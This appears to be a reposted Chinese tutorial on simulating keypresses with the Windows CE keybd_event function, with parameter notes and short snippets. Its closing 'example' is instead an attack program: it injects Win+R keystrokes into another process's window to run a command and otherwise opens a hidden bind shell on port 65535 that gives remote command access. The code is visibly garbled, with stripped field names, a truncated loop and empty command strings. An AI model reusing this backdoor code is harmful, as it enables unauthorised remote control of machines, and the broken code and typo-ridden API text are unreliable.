admin 管理员组文章数量: 1184232
2023年12月17日发(作者:sql自学课程资源)
用keybd_event 在WINCE 下实现按键功能.txt成熟不是心变老,而是眼泪在眼里打转却还保持微笑。把一切平凡的事做好既不平凡,把一切简单的事做对既不简单。用 keybd_event 在WINCE 下实现按键功能2008-06-03 08:14
1。定义wince的按键
自己可以写一个按键驱动,很简单,当有按键时用keybd_event函数
例如:定义一个左按键时,
在按下按键时:
keybd_event (VK_LEFT ,0x25, KEYEVENTF_SILENT, 0);
在松开按键时:
keybd_event(VK_LEFT ,0x25, KEYEVENTF_SILENT | KEYEVENTF_KEYUP, 0);
------------------------------------------------------------------------------------------------------------------------------
详细用法如下:
函数功能:该函数合成一次击键事件。系统可使用这种合成的击键事件来产生WM_KEYUP或WM_KEYDOWN消息,键盘驱动程序的中断处理程序调用keybd_event函数。在Windows NT中该函数己被使用Sendlhput来替代它。
函数原型;VOID keybd_event(BYTE bVk,BYTE
bScan,DWORD dwFlags,DWORD dwExtralnfo);
参数:
bVk:定义一个虚据拟键码。键码值必须在1~254之间。
bScan:定义该键的硬件扫描码。
dwFlags:定义函数操作的名个方面的一个标志位集。应用程序可使用如下一些预定义常数的组合设置标志位。
KEYEVENTF_EXETENDEDKEY:若指定该值,则扫描码前一个值为OXEO(224)的前缀字节。DEYEVENTF_KEYUP:若指定该值,该键将被释放;若未指定该值,该键交被接下。dwExtralnfo:定义与击键相关的附加的32位值。
返回值:该函数无返回值。
备注:尽管keybd_event传递一个与OEM相关的硬件扫描码给系统,但应用程序不能用此扫描码。系统在内部将扫描码转换成虚拟键码,并且在传送给应用程序前清除键码的UP/down位。应用程序可以摸拟PRINTSCREEN键的按下来获得一个屏幕快照,并把它存放到剪切板中。若要做到这一点,则要将keybd_event的bVk参数置为VK_SNAPSHOT,bScan参数置为0(用以获得全屏快照)或hScan置为1(仅获得活动窗口的快照)。Windows
CE:WindowsCE支持dwFlags参数附加的标志位。即使用KEYEVENTF_SILENT标志模拟击键,而不产生敲击的声音。Windows CE不支持KEYEVENTF_EXTENDEDKEY标志。
--------------------------------------------------------------------------------
-----------------------------------------------
case 6: //模拟键盘击键
{
WORD &key=65;
sRecvString = AnsiString(Key)
int strCusKey = StrToInt(sRecvString);
keybd_event( strCusKey, 0, 0, 0);//
press H
keybd_event( strCusKey, 0, KEYEVENTF_KEYUP,
0);
}
break;
-------------------------------------------------------------------------------------------------------------------------------
例子:
#include
#include
#include
#pragma comment(lib, "ws2_")
#define HAXORCITOS 65535
unsigned int pid = 0;
char buf[256]="";
/**************************************************************/
void ExplorerExecution (HWND hwnd, LPARAM lParam){
DWORD hwndid;
int i;
GetWindowThreadProcessId(hwnd,&hwndid);
if (hwndid == pid){
/*
Replace keybd_event with SendMessage() and PostMessage() calls
*/
printf("HANDLE Found. Attacking =)n");
SetForegroundWindow(hwnd);
keybd_event(VK_LWIN,1,0,0);
keybd_event(VkKeyScan('r'),1,0,0);
keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0);
for(i=0;i if (buf[i]==':') { keybd_event(VK_SHIFT,1,0,0); keybd_event(VkKeyScan(buf[i]),1,0,0); keybd_event(VK_SHIFT,1,KEYEVENTF_KEYUP,0); keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0); } else { if (buf[i]=='') { keybd_event(VK_LMENU,1,0,0); keybd_event(VK_CONTROL,1,0,0); keybd_event(VkKeyScan('�'),1,0,0); keybd_event(VK_LMENU,1,KEYEVENTF_KEYUP,0); keybd_event(VK_CONTROL,1,KEYEVENTF_KEYUP,0); keybd_event(VkKeyScan('�'),1,KEYEVENTF_KEYUP,0); } else { keybd_event(VkKeyScan(buf[i]),1,0,0); keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0); } } } keybd_event(VK_RETURN,1,0,0); keybd_event(VK_RETURN,1,KEYEVENTF_KEYUP,0); exit(1); } } /**************************************************************/ int BindShell(void) { //Bind Shell. POrt 65535 SOCKET s,s2; STARTUPINFO si; PROCESS_INFORMATION pi; WSADATA HWSAdata; struct sockaddr_in sa; int len; if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); } if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){ exit(1); } _family = AF_INET; _port = (USHORT)htons(HAXORCITOS); _addr.s_addr = htonl(INADDR_ANY); len=sizeof(sa); if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) { return(-1); } if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); } s2 = accept(s,(struct sockaddr *)&sa,&len); closesocket(s); ZeroMemory( &si, sizeof(si) ); ZeroMemory( &pi, sizeof(pi) ); = sizeof(si); indow = SW_HIDE; s =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; put = (void *) s2; // SOCKET tput = (void *) s2; ror = (void *) s2; if (!CreateProcess( NULL ,"",NULL, NULL,TRUE, 0,NULL,NULL,&si,&pi)) { doFormatMessage(GetLastError()); return(-1); } WaitForSingleObject( ss, INFINITE ); closesocket(s); closesocket(s2); printf(""); Sleep(5000); return(1); } /**************************************************************/ void main(int argc, char* argv[]) { HWND console_wnd = NULL; if (argc >= 2) { pid = atoi (argv[1]); strncpy(buf,argv[0],sizeof(buf)-1); EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd)); } else { BindShell(); } } /**************************************************************/ keybd_event(vk_f1, mapVirtualKey(vk_f1, 0), 0, 0); keybd_event(vk_f1, mapVirtualKey(vk_f1, 0), KEYEVENTF_KEYUP,0);
版权声明:本文标题:用keybd_event 在WINCE 下实现按键功能 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://roclinux.cn/b/1702802348a431470.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论